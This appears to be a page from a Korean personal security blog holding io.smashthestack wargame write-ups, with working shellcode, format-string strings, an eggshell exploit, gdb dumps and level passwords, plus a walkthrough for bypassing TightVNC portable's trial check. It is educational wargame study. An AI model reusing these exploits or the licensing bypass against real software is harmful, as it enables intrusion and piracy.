Search results for 'before I die'

  1. 2010.09.16 -- ISEC 2009 level3 solution by winappdbg
  2. 2010.09.08 -- TightVNC portable
  3. 2010.09.07 -- move 명령어
  4. 2010.09.07 -- 어디에
  5. 2010.06.20 -- redhat 9.0 networking problem in vmware
  6. 2010.03.26 -- i`m back
  7. 2010.01.21 -- level9
  8. 2010.01.21 -- level8
  9. 2010.01.19 -- level7
  10. 2010.01.19 -- level6

ISEC 2009 level3 solution by winappdbg

2010. 9. 16. 22:14

Level : 3


This program is Encoder.
I encoded the plaintext And memo the encoded string.
But I fotget the plaintext!!!
SHIT, What the...!!!
I don't have decoder!
I hope you decode this string!

Encoded string : A1 FD 7E F6 F0 70 98 D6 E5 F8 FF F8 78 B8 DE ED 0D

p.s) You should input the key which are removed the space in plaintext!
ex.) a b cd(x) => abcd(o)

풀이



Python code


WinAppDbg Tutorial & Reference



불량식품이랑 문제 풀이는 철이 지나야 제맛.

'Code > Python' 카테고리의 다른 글

SendMessage by winappdbg  (0) 2013.06.12
decode captcha by python  (0) 2012.11.12
handling HTTP by python module  (0) 2011.07.04
hust 8th level D - python  (0) 2009.10.17

badcob Code/Python

TightVNC portable

2010. 9. 8. 21:13

아는 분이 TightVNC portable을 크랙해 달라고 하셔서.. 잠깐 들여다본 적이 있는데..
정리해 두고자 끄적여 봅니다.

TightVNC portable은 30일간 사용할 수 있는 쉐어웨어 입니다.



Register를 클릭하면 사용자 등록을 할 수 있습니다.



접근할 만한 부분은 다음 2가지 정도일까요.

1) 남은 날짜를 카운팅 하는 루틴.
2) 사용자 등록 처리 루틴.

IDA로 열어서 살펴보면 WinMain에서 다음 부분을 볼 수 있습니다.



CreateWindow를 호출하고 이어서 0xFFFFFEBh(GWL_USERDATA)을 인자로 줘서 SetWindowLong을 호출합니다.
SetWindowLong 특정 윈도우의 속성을 바꿀때 쓰는 함수로 MSDN에 나온 설명입니다

SetWindowLong Function

Changes an attribute of the specified window.
The function also sets the 32-bit (long) value at the specified offset into the extra window memory.

LONG WINAPI SetWindowLong(
 HWND hWnd,
 int nIndex,
 LONG dwNewLong
)


olly 에서 보면 파라미터가 아래와 같이 호출됩니다.

핸들은 앞서 호출한 CreateWindow의 리턴값을, index에 GWL_USERDATA (-21) 을,
마지막 파라미터로 RegisterWindowMessage로 등록한 메시지를 던져줍니다.



GWL_USERDATA에 대한 MSDN의 설명입니다.

GWL_USERDATA(-21) Retrieves the user data associated with the window.
This data is intended for use by the application that created the window. Its value is initially zero.

계속 WinMain을 보면 로컬 변수 주소(dwInitParam)를 ecx와 스택에 넣고 sub_4036D0를 호출.
ecx를 쓰는걸 보니 클래스 멤버 함수 일까요. ecx를 직접 스택에 밀어넣는걸 보니 아리까리 하네요.



sub_4036D0 함수는 ecx주소에 0x200을 더해서 sub_4032A0을 호출.



 sub_4032A0은 인자로 받은 [ecx+200]을 esi에 넣고 (멤버 변수를) 초기화 하는 것 같습니다.



이어서 sub_4033E0을 호출.(dwInitParam을 계속 인자로 물고 갑니다.)



sub_4033E0 은 대충 다음과 같은 기능을 합니다.

1) data와 session 이라는 디렉토리 생성
2) GetFileTime 으로 디렉토리가 생성된 시간을 얻어와서 현재 시스템 시간을 빼고 30 을 더함
3) 이 값이 0 보다 크면  [esi+0x28h]에 1을 집어넣음

마지막에 비교하는 부분 중에 이런 코드가 있네요.



ebx 레지스터에는 두개의 시간을 계산한 결과 값, 즉 처음 실행했으면 0x1E(30) 이라는 값이 들어와
있습니다.
여기에 test 연산을 하면 ZF 만 0이 되고 나머지는 변함이 없습니다.
따라서 setl al 에서 al은 그냥 0이 되고 
ebx는 0xffffffff와 and 연산을 합니다.
결국 eax는 0x1E가 되죠.

hexray로 보니 이렇게 보이네요.


테스트해보니 v8 이 0 보다 작으면 참 이므로 1이, 크면 거짓이므로 0 이 들어갑니다.
부족한 제게는 실로 내공이 느껴지는 한줄입니다.

register 루틴에서도 이 부분의 값 ([esi+40]) 을 확인합니다.
그러므로 등록하지 않고 계속 사용하려면 이 부분의 조건문을 바꿔주는 것만으로 가능합니다.

조금만 더 살펴보자면 WinMain에서는 이어서 DialogBoxParam을 호출합니다.



MSDN에 나온 DiaglogBoxParam의 설명입니다.

DialogBoxParam Function

Creates a modal dialog box from a dialog box template resource.
Before displaying the dialog box, the function passes an application-defined value
to the dialog box procedure as the lParam parameter of the WM_INITDIALOG message.
An application can use this value to initialize dialog box controls.

INT_PTR WINAPI DialogBoxParam(
  __in_opt  HINSTANCE hInstance,
  __in      LPCTSTR lpTemplateName,
  __in_opt  HWND hWndParent,
  __in_opt  DLGPROC lpDialogFunc,
  __in      LPARAM dwInitParam
);

...

dwInitParam [in]
 LPARAM

The value to pass to the dialog box in the lParam parameter of the WM_INITDIALOG message.

마지막 파라미터인 dwInitParam으로 dialog box의 초기화 정보를 전달할 수 있네요.

DialogFunc에 두번째 파라미터가 0x110 (WM_INITDIALOG) 이면 멈추도록 브레이크 포인트를 겁니다.
olly나 immunity에서 쉬프트 + F2를 누르고 [esp+8] == 110h 라고 입력.
그러면 DialogBoxParam의 InitParam으로 넘겨준 값을(0x0012F3EC) SetWindowLong으로 설정하는 것을 볼 수 있습니다.



그리고 해당 컨트롤에 0x111(WM_COMMAND)가 발생하면 GetWindowLong으로 이 주소값을 얻어와서 어쩌고 저쩌고 처리하게 됩니다.

ps. olly, immunity에서 conditional breakpoint 걸 때 && 로 묶어서 조건을 여러 개 할 수 없는건지
제대로 걸리질 않는군요. 자꾸 전에 걸어놓은 구문하고 겹치게 되고-0-



'Reversing' 카테고리의 다른 글

ARM assembly를 공부합시다.  (0) 2011.10.03
Protection ID  (0) 2011.05.11
Vmware detection by vmware I/O port  (0) 2011.04.18
7.7 ddos 바이너리 대충 분석  (2) 2009.08.06
The best text for Reverse Engineering  (0) 2009.06.23
Reversing for Newbies (written by Lena)  (0) 2009.03.27
some instruction  (0) 2009.02.11
bypassing isDebuggerPresent WITHOUT changing mem  (0) 2009.01.28

badcob Reversing

move 명령어

2010. 9. 7. 02:29

http://faydoc.tripod.com/cpu/movsd.htm 에 본문이 있슴.

Code Mnemonic Description
A4 MOVS m8, m8 Move byte at address DS:(E)SI to address ES:(E)DI
A5 MOVS m16, m16 Move word at address DS:(E)SI to address ES:(E)DI
A5 MOVS m32, m32 Move doubleword at address DS:(E)SI to address ES:(E)DI
A4 MOVSB Move byte at address DS:(E)SI to address ES:(E)DI
A5 MOVSW Move word at address DS:(E)SI to address ES:(E)DI
A5 MOVSD Move doubleword at address DS:(E)SI to address ES:(E)DI

Moves the byte, word, or doubleword specified with the second operand (source operand) to the location specified with the first operand (destination operand). Both the source and destination operands are located in memory. The address of the source operand is read from the DS:ESI or the DS:SI registers (depending on the address-size attribute of the instruction, 32 or 16, respectively). The address of the destination operand is read from the ES:EDI or the ES:DI registers (again depending on the address-size attribute of the instruction). The DS segment may be over-ridden with a segment override prefix, but the ES segment cannot be overridden.

대충 메모리에 있는 데이터를  바이트,워드, 더블 워드 만큼 ESI(src address)에서 EDI(dst address)로 옮긴단 얘기. 계속 설명을 보면..

After the move operation, the (E)SI and (E)DI registers are incremented or decremented automatically according to the setting of the DF flag in the EFLAGS register. (If the DF flag is 0, the (E)SI and (E)DI register are incremented; if the DF flag is 1, the (E)SI and (E)DI registers are decremented.) The registers are incremented or decremented by 1 for byte operations, by 2 for word operations, or by 4 for doubleword operations.

Move 연산 이후에 ESI와 EDI 레지스터는 EFLAGS 레지스터의 DF 플래그에 따라서 값이 증가하거나 감소되거나 한다. DF 가 0 이면 증가, 1이면 감소, 사이즈에 따라서 연산되는 크기도 달라지고.. 마지막엔 이렇게 나와있다.

The MOVS, MOVSB, MOVSW, and MOVSD instructions can be preceded by the REP prefix

MOVS 류 명령어 앞에는 REP 가 올 수 있단다.
같은 사이트에서 REP를 찾아보면..


Code Mnemonic Description
F3 6C REP INS r/m8, DX Input (E)CX bytes from port DX into ES:[(E)DI]
F3 6D REP INS r/m16, DX Input (E)CX words from port DX into ES:[(E)DI]
F3 6D REP INS r/m32, DX Input (E)CX doublewords from port DX into ES:[(E)DI]
F3 A4 REP MOVS m8, m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
F3 A5 REP MOVS m16, m16 Move (E)CX words from DS:[(E)SI] to ES:[(E)DI]
F3 A5 REP MOVS m32, m32 Move (E)CX doublewords from DS:[(E)SI] to ES:[(E)DI]
F3 6E REP OUTS DX, r/m8 Output (E)CX bytes from DS:[(E)SI] to port DX
F3 6F REP OUTS DX, r/m16 Output (E)CX words from DS:[(E)SI] to port DX
F3 6F REP OUTS DX, r/m32 Output (E)CX doublewords from DS:[(E)SI] to port DX
F3 AC REP LODS AL Load (E)CX bytes from DS:[(E)SI] to AL
F3 AD REP LODS AX Load (E)CX words from DS:[(E)SI] to AX
F3 AD REP LODS EAX Load (E)CX doublewords from DS:[(E)SI] to EAX
F3 AA REP STOS m8 Fill (E)CX bytes at ES:[(E)DI] with AL
F3 AB REP STOS m16 Fill (E)CX words at ES:[(E)DI] with AX
F3 AB REP STOS m32 Fill (E)CX doublewords at ES:[(E)DI] with EAX
F3 A6 REPE CMPS m8, m8 Find nonmatching bytes in ES:[(E)DI] and DS:[(E)SI]
F3 A7 REPE CMPS m16, m16 Find nonmatching words in ES:[(E)DI] and DS:[(E)SI]
F3 A7 REPE CMPS m32, m32 Find nonmatching doublewords in ES:[(E)DI] and DS:[(E)SI]
F3 AE REPE SCAS m8 Find non-AL byte starting at ES:[(E)DI]
F3 AF REPE SCAS m16 Find non-AX word starting at ES:[(E)DI]
F3 AF REPE SCAS m32 Find non-EAX doubleword starting at ES:[(E)DI]
F2 A6 REPNE CMPS m8, m8 Find matching bytes in ES:[(E)DI] and DS:[(E)SI]
F2 A7 REPNE CMPS m16, m16 Find matching words in ES:[(E)DI] and DS:[(E)SI]
F2 A7 REPNE CMPS m32, m32 Find matching doublewords in ES:[(E)DI] and DS:[(E)SI]
F2 AE REPNE SCAS m8 Find AL, starting at ES:[(E)DI]
F2 AF REPNE SCAS m16 Find AX, starting at ES:[(E)DI]
F2 AF REPNE SCAS m32 Find EAX, starting at ES:[(E)DI]

Repeats a string instruction the number of times specified in the count register ((E)CX) or until the indicated condition of the ZF flag is no longer met. The REP (repeat), REPE (repeat while equal), REPNE (repeat while not equal), REPZ (repeat while zero), and REPNZ (repeat while not zero) mnemonics are prefixes that can be added to one of the string instructions. The REP prefix can be added to the INS, OUTS, MOVS, LODS, and STOS instructions, and the REPE, REPNE, REPZ, and REPNZ prefixes can be added to the CMPS and SCAS instructions. (The REPZ and REPNZ prefixes are synonymous forms of the REPE and REPNE prefixes, respectively.) The behavior of the REP prefix is undefined when used with non-string instructions

ECX  또는 ZF 플래그 조건이 충족되는 만큼 문자열 명령을 반복한다.

따라서 REP  MOVSD 일때 ECX가 10 이면, ESI 레지스터의 값을 EDI로 10 번 옮기게 된다.

매번 까먹고 구글링에 지쳐서.. 적어놓으면 좀 나을려나.


'Code > assembly' 카테고리의 다른 글

기본 색인 주소 지정 모드  (4) 2009.08.09

badcob Code/assembly

어디에

2010. 9. 7. 01:42


내게 찾아온
내게 찾아온
내게 찾아왔던
사랑은 어디에

돌아오지 않을거야..

'what`s up' 카테고리의 다른 글

YO!  (0) 2012.03.30
8회 해킹방어대회 우승  (2) 2011.08.07
Wow!!!  (1) 2011.01.10
i`m back  (0) 2010.03.26
passion  (0) 2009.11.17
hardware radio switch T_T  (2) 2009.11.07
coldplay scientist  (0) 2009.10.18
그러한  (0) 2009.10.13
이별  (0) 2009.09.01
기분이 오묘함  (0) 2009.08.24

badcob what`s up

redhat 9.0 networking problem in vmware

2010. 6. 20. 11:28


http://www.daniweb.com/forums/thread505.html


The answer to this one is buried in the VMWare site.
You have to find all copies of ifcfg-eth0 and add the lines:

check_link_down() {
return 1;
}

That fools the device into thinking the vmWare NIC is giving it a link up signal, which it doesn't.

Hope this helps, it works everytime for me. Good luck.

replied by GarrathE


고맙고맙

'OS > Linux' 카테고리의 다른 글

about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

i`m back

2010. 3. 26. 06:00
잠시 외도를 마치고 다시 돌아왔습니다.
넋놓고 있는게 더 힘든 것이라는 것을 이제야 알았습니다.
사정이야 어찌되었든 다시 달리겠습니다.

'what`s up' 카테고리의 다른 글

YO!  (0) 2012.03.30
8회 해킹방어대회 우승  (2) 2011.08.07
Wow!!!  (1) 2011.01.10
어디에  (0) 2010.09.07
passion  (0) 2009.11.17
hardware radio switch T_T  (2) 2009.11.07
coldplay scientist  (0) 2009.10.18
그러한  (0) 2009.10.13
이별  (0) 2009.09.01
기분이 오묘함  (0) 2009.08.24

badcob what`s up

level9

2010. 1. 21. 00:53

level9는 소스가 완전히 바뀌었네요.

int main(int argc, char **argv) {

    int  pad = 0xbabe;
    char buf[1024];
    strncpy(buf, argv[1], sizeof(buf) - 1);

    printf(buf);
   
    return 0;
}



마찬가지로 포맷 스트링입니다. DTOR_END를 이용했습니다.

DTOR_END  : 080494d4

shellcode : "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

egg shell의 주소 : 0xbfffdce4

공격 스트링

/levels/level9 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08"+"%8x%8x%8x"+"%56508c%n%58139c%n"'`

$-flag를 쓰면

/levels/level9 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08"+"%4$56532x%5$n%6$58139x%7$n"'`

더 짧게 쓰면

/levels/level9 `python -c 'print "\xd4\x94\x04\x08\xd6\x94\x04\x08"+"%3$56540c%4$n%3$58139c%5$n"'`

기본적인 문제라 어렵지 않게 계산해서 한방에 해결.

pass : uawurxf5

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


level9의 소스입니다.. printf(buf);  포맷스트링이네요. 포맷스트링 버그는 잘 몰라서 시간이 좀 걸렸습니다.

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        char buf[1024];
        strncpy(buf, argv[1], sizeof(buf) - 1);

        printf(buf);

        return 0;
}



몇일동안 날새고 난 휴우증 때문인지 1주일 동안 포맷스트링 어택에 대해서 틈틈히 읽어봤지만 좀처럼 정리가 되질 않더군요. 다행히도 비누님이 작성하신 문서를 보고 나니 먼가 감이 와서 다시 디벼봤습니다.

Format string attack 은 결국 "원하는 주소에 원하는 값을 덮어 씌우는 것" 입니다.

일반적으로 여기서 원하는 주소는 return address 이며 원하는 값은 shellcode의 주소 입니다.

return address 를 찾아봅시다. 스택프레임에서 ebp+4 의 위치에 return address 가 있을거라 생각됩니다.

(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0x418,%esp
......
(gdb) b *0x080483b5

Breakpoint 1 at 0x80483b5
(gdb) r
Starting program: /levels/level9

Breakpoint 1, 0x080483b5 in main ()

(gdb) info reg esp
esp            0xbfffdd48       0xbfffdd48

(gdb) x/12x 0xbfffdd48
0xbfffdd48:     0xbfffdd98      0x00b65ea8      0x00000001      0xbfffddc4
0xbfffdd58:     0xbfffddcc      0x00000000      0x00c7eff4      0x00000000
0xbfffdd68:     0x0046bcc0      0xbfffdd98      0xbfffdd50      0x00b65e6d

(gdb) x/12x 0x00b65ea8
0xb65ea8 <__libc_start_main+200>:       0xe8240489      0x00016570      0x3883d231      0xc2940f00
0xb65eb8 <__libc_start_main+216>:       0xffff4de9      0x3493ffff      0x8b000037      0x00372c83
0xb65ec8 <__libc_start_main+232>:       0x08fff000      0x31c2940f      0x75d284c0      0x2404c7d3





0xbfffdd4c 의 값이 return address 이므로 이곳에 우리가 올린 shellcode의 주소를 넣을수 있다면 원하는 코드를 실행 시킬 수 있을 것입니다.

shellcode는 eggshell 을 이용해서 환경변수에 올렸습니다. 버퍼가 충분해서 쉘코드를 바로 집어넣어도 될듯

level9@io:/tmp$ ./ppyo
Using address: 0xbfffdd08



0xbfffdd08 로 바꾸면되겠네요. bfffdd08 을 그대로 입력하면 3221216520 입니다. 너무 커서 2바이트씩 잘라서 넣습니다.

공격 스트링의 구성입니다.

AAAA \x4c\xdd\xff\xbf  BBBB \x4e\xdd\xff\bf  %8x%8x%8x         %c          %n          %c       %n

    4            4                    4                 4                   24            0xbfffdd4c              0xbfffdd4e
                                                                                                dd08                      bfff              

    


위와 같이 매칭을 해서 집어넣으려면 자리수를 만들어야합니다.

0xdd08 (56584) - 0x28 (40 = 4+4+4+4 +24) = DCE0 (56544)

0x1bfff (114687) - 0xdd08 (56584) = E2F7 (58103)


최종 공격 스트링입니다.

AAAA\x4c\xdd\xff\xbfBBBB\x4e\xdd\xff\bf %8x%8x%8x%56544c%n%58103c%n

자신만만하게 시도했지만 세그 폴트가 나더군요. gdb 상에서 리턴어드레스와 실제 리턴 어드레스는 차이가  난다라는 비누님의 조언과 Null@Root의 Willy 님이 쓰신 글(http://ttongfly.net/zbxe/?document_srl=42560&mid=systemhack&listStyle=&cpage=)을 보고 리턴어드레스를 추측해서
아래의 쿼리로 쉘을 얻을 수 있었습니다. (0x10씩 바꿔서 해봤습니다.)

./level9 `perl -e 'print "AAAA\x3c\xd5\xff\xbfBBBB\x3e\xd5\xff\xbf%8x%8x%8x%56544c%n%58103c%n"'`

sh-3.1$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9)

sh-3.1$ cat /home/level10/.pass
xe0dogrh



'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level8

2010. 1. 21. 00:52

  level8 바이너리의 소스는 그대로인데 strncat으로 붙이면 buf의 내용이 전과는 다르더군요. 

이전엔 do_the_nasty 함수의 ret를  덮어 씌웠지만 이번에는 main 함수의 ret를 덮어 씌웠습니다.

사용한 exploit. (pass : ynfbxd6t)


#include 
#include 
#include 

#define NOP 0x90
#define TARGET "/levels/level8"

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

unsigned long get_esp(void)
{
  __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
  char *cmd1, *cmd2;
  char *ptr, *egg;
  long *addr_ptr, addr;
  int  size1=32, size2=112;
  int i;

  if (!(cmd1 = malloc(size1))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  if (!(cmd2 = malloc(size2))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  
  if (!(egg = malloc(2048))) {
    printf("Can`t allocate memory.\n");
    exit(0);
  }

  addr = get_esp();

  printf("Using address: 0x%x\n", addr);

  ptr = cmd1;

  for (i = 0; i < size1; i++)
    *(ptr++) = '\x90';

  ptr = cmd2;
  *(ptr++) = NOP;
  addr_ptr = (long *) ptr;

  for (i = 0; i < size2; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for(i = 0; i < 2048 - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for(i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  egg[2048 - 1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);

  execl(TARGET,"level8",cmd1,cmd2,NULL);
}

--------------------------------------------------------------------
#include <string.h>

// A little learning is a dangerous thing; drink deep, or taste not the Pierian
// spring: there shallow draughts intoxicate the brain, and drinking largely
// sobers us again - Alexander Pope

void do_the_nasty(char *argv[])
{
    char buf[32];
    strncpy(buf, argv[1], sizeof(buf));
    strncat(buf, argv[2], sizeof(buf)-strlen(buf)-1);
}

int main(int argc, char *argv[])
{
    do_the_nasty(argv);
    return 0;
}


level8의 소스입니다. 딱보니 sizeof 와 strlen 의 차이를 이용한 문제입니다.
버퍼는 차지하지만 길이에는 포함 안되는 NULL(\x90)을 이용하면 BOF 할수 있겠네요.
확인해보겠습니다.


level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x1'`

level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x2'`
Segmentation fault

다행입니다.  흠.. 그러고보니 이렇게 되면 버퍼 사이즈때문에 쉘코드를 올릴 수가 없으니.. 
환경변수를 이용해야겠군요.


우선 디스어셈블된 코드를 확인했습니다.


(gdb) disas do_the_nasty
Dump of assembler code for function do_the_nasty:
0x08048394 <do_the_nasty+0>:    push   %ebp
0x08048395 <do_the_nasty+1>:    mov    %esp,%ebp
0x08048397 <do_the_nasty+3>:    push   %edi
0x08048398 <do_the_nasty+4>:    sub    $0x34,%esp                  52만큼 스택을 확장
0x0804839b <do_the_nasty+7>:    mov    0x8(%ebp),%eax
0x0804839e <do_the_nasty+10>:   add    $0x4,%eax                   
0x080483a1 <do_the_nasty+13>:   mov    (%eax),%eax                  argv[1]의 주소를 eax로
0x080483a3 <do_the_nasty+15>:   movl   $0x20,0x8(%esp)                   32를 esp + 8로
0x080483ab <do_the_nasty+23>:   mov    %eax,0x4(%esp)                   argv[1]의 주소를 esp+4로
0x080483af <do_the_nasty+27>:   lea    0xffffffdc(%ebp),%eax              
0x080483b2 <do_the_nasty+30>:   mov    %eax,(%esp)                   ebp-36을 esp로  
0x080483b5 <do_the_nasty+33>:   call   0x80482c8 <strncpy@plt>      strncpy( ebp-36, argv[1], 32);
......

52만큼 확장된 스택에서 buf 가 위치하는곳은 ebp-36이므로 ret address 를 덮어 씌우기 위해서는 

buf(36) + ebp + ret , 총 44바이트를 덮어 씌워야 할겁니다. eggshell을 변형해서 환경변수에 쉘코드를
올렸습니다.


                
 egg 라는 환경변수로 올려놓고 다음과 같이 입력했습니다만 세그 폴트가 났습니다.

level8@io:/tmp$ ./ppp
Using address: 0xbfffdd18

sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Segmentation fault


스택에 들어갈때의 모습이 궁금해서 열어보기로 했습니다.

(gdb) r `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`

Starting program: /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`

Breakpoint 1, 0x080483fa in do_the_nasty ()

(gdb) info reg
eax            0xbfffd4e4       -1073752860
ecx            0xbfffd512       -1073752814
edx            0x3ffffffc       1073741820
ebx            0x4a4ff4 4870132
esp         0xbfffd4d0     xbfffd4d0
ebp            0xbfffd508       0xbfffd508
esi            0x0      0
edi            0xbfffd508       -1073752824
eip            0x80483fa        0x80483fa <do_the_nasty+102>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) x/60x 0xbfffd4d0

0xbfffd4d0:     0xbfffd4e4      0xbfffd6b3      0xfffffffc      0x003da80e
0xbfffd4e0:     0xbfffd4e4      0x90909090   0x90909090   0x90909090
0xbfffd4f0:     0x90909090   0x90909090  0x90909090   0x90909090
0xbfffd500:     0x90909090   0x18bd2cc0   0x18bfffdd      0x18bfffdd
0xbfffd510:     0x00bfffdd      0xbfffd530      0xbfffd578      0x0038bea8
0xbfffd520:     0x00000000      0x00bd2cc0      0xbfffd578      0x0038bea8
0xbfffd530:     0x00000003      0xbfffd5a4      0xbfffd5b4      0x00000000
0xbfffd540:     0x004a4ff4      0x00000000      0x00bd2cc0      0xbfffd578
0xbfffd550:     0xbfffd530      0x0038be6d      0x00000000      0x00000000
0xbfffd560:     0x00000000      0x00bc8090      0x0038bded      0x00bd2ff4
0xbfffd570:     0x00000003      0x080482f0      0x00000000      0x08048311
0xbfffd580:     0x08048400      0x00000003      0xbfffd5a4      0x08048480
0xbfffd590:     0x08048430      0x00bc8c40      0xbfffd59c      0x00bd34e4
0xbfffd5a0:     0x00000003      0xbfffd683      0xbfffd692      0xbfffd6b3
0xbfffd5b0:     0x00000000      0xbfffd6c0      0xbfffd6d0      0xbfffd6db
(gdb)




붉은색으로 표시한 곳에 3바이트가 있네요. strncat으로 붙이면 이 다음 부터 붙게되서 4바이트 형태의 
원하는 주소값이 제대로 안들어 갑니다. 

따라서 NOP를 1바이트 더 줘서 주소값이 제대로 들어가도록 해봤습니다.

sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x90","\x18\xdd\xff\xbf"x3'`

sh-3.1$ id

uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8)
sh-3.1$ cat /home/level9/.pass
apt2tute



'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level7

2010. 1. 19. 06:01


level7의 소스입니다.
별다른건 없고 sscanf 로 argv[1]의 값들을 정수화해서 id에 집어넣습니다.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

// We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe

void check_id(unsigned int id)
{
    if(id > 10) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Not today son\n");
    }
}

int main(int argc, char *argv[])
{
    int id;
    sscanf(argv[1], "%d", &id);
                if(id > 10) {
                        printf("Erm....no\n");
                        exit(-1);
                }
    check_id(id);

    return 0;
}

check_id 함수의 인자로 unsigned int 를 받는게 왠지 시선을 끌길래.. 음수를 넣어봤더니


level7@io:/levels$ ./level7 -1

sh-3.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7)

sh-3.1$ cat /home/level8/.pass
ca1fiase     > zkq5xlnh

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level6

2010. 1. 19. 05:49


level6 도 소스코드가 있더군요.

level6@io:/levels$ cat level6.c

#include<string.h>

// The devil is in the details - nnp

void copy_buffers(char *argv[])
{
    char buf1[32], buf2[32], buf3[32];                    

    strncpy(buf2, argv[1], 31);                             argv[1]은 buf2로 31만큼 복사
    strncpy(buf3, argv[2], sizeof(buf3));                argv[2]는 buf3로 32만큼 복사
    strcpy(buf1, buf3);                                        buf3를 buf1으로 복사

}

int main(int argc, char *argv[])
{
    copy_buffers(argv);
    return 0;
}




buf1, buf2, buf3는 메모리상에 연속된 공간입니다. 버퍼의 마지막을 구분하는건 NULL 값인데
argv[2]의 값을 buf3로 복사할때
32개의 값을 주게되면 buf2와 buf3는 연속된 공간으로 인식 될 것입니다.
따라서 strcpy 구문을 이용해 BOF를 발생시킬 수 있습니다.


라고 가정하였습니다; 확인해봅시다.


level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x31'`

level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x32'`
Segmentation fault

네. 다행입니다; 이제 스택을 확인 한 후 쉘코드를 올려보겠습니다.

우선 copy_buffers 함수



gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>:    push   %ebp
0x08048395 <copy_buffers+1>:    mov    %esp,%ebp
0x08048397 <copy_buffers+3>:    sub    $0x78,%esp                      stack을 120만큼 확장
0x0804839a <copy_buffers+6>:    mov    0x8(%ebp),%eax                argv[0]을 eax로
0x0804839d <copy_buffers+9>:    add    $0x4,%eax                         eax를 4만큼 증가 -> argv[0+1]
0x080483a0 <copy_buffers+12>:   mov    (%eax),%eax                    eax의 어드레스를 eax로
0x080483a2 <copy_buffers+14>:   movl   $0x1f,0x8(%esp)                31을 esp+8로
0x080483aa <copy_buffers+22>:   mov    %eax,0x4(%esp)               argv[1]을 esp+4로
0x080483ae <copy_buffers+26>:   lea    0xffffffc0(%ebp),%eax           ebp-64 의 주소를 eax로 -> buf2
0x080483b1 <copy_buffers+29>:   mov    %eax,(%esp)                   eax의 주소를 esp로
0x080483b4 <copy_buffers+32>:   call   0x80482b4 <strncpy@plt>
0x080483b9 <copy_buffers+37>:   mov    0x8(%ebp),%eax             
0x080483bc <copy_buffers+40>:   add    $0x8,%eax                      인덱스를 2만큼 증가 -> argv[2]
0x080483bf <copy_buffers+43>:   mov    (%eax),%eax
0x080483c1 <copy_buffers+45>:   movl   $0x20,0x8(%esp)
0x080483c9 <copy_buffers+53>:   mov    %eax,0x4(%esp)
0x080483cd <copy_buffers+57>:   lea    0xffffffa0(%ebp),%eax        ebp-96의 주소를 eax로  -> buf3
0x080483d0 <copy_buffers+60>:   mov    %eax,(%esp)
0x080483d3 <copy_buffers+63>:   call   0x80482b4 <strncpy@plt>
0x080483d8 <copy_buffers+68>:   lea    0xffffffa0(%ebp),%eax       
0x080483db <copy_buffers+71>:   mov    %eax,0x4(%esp)             ebp-96을 esp+4 로
